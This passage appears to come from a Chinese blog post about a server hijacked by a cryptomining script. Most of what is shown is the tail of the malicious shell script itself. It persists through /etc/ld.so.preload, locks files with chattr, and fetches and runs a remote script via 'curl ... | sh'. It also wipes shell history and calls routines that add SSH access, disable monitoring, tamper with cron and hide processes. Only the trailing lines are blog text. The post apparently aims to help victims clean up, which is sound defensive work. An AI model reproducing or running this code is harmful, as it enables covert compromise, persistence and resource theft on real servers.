${CHATTR} +i /usr/local/lib/$BINARY_NAME.so

if [ ! -f "/etc/ld.so.preload" ]; then touch /etc/ld.so.preload; fi

if [ -f /usr/local/lib/$BINARY_NAME.so ]; then cat /etc/ld.so.preload 2>/dev/null 1>/dev/null | grep '/usr/local/lib/'$BINARY_NAME'.so' || echo '/usr/local/lib/'$BINARY_NAME'.so' >> /etc/ld.so.preload;fi

${CHATTR} +i /etc/ld.so.preload 

fi

}


exe_remo(){

if [ ! -f "/var/tmp/.psla" ]; then

localgo

echo 'lockfile' > /var/tmp/.psla

sleep 10

${CURL_CMD} -fsSL http://${domain}/s3f815/s/s.sh | sh 

${CHATTR} +i /var/tmp/.alsp

history -c

else

  echo "replay .. i know this server ..."

fi 

echo "[*] Setup complete"  

history -c

}

check_exist

m_command

ins_package

check_exist

SetupNameServers

download_f

setup_s

makesshaxx

clean_monitor

clean_cron

lock_cron

exec_hide

exec_hide2

clmo

exe_remo




欢迎指正解决问题,其他问题评论区见

服务器被挖矿(脚本文件攻击)(希望这一篇能解决你的问题吧)的评论 (共 条)

分享到微博请遵守国家法律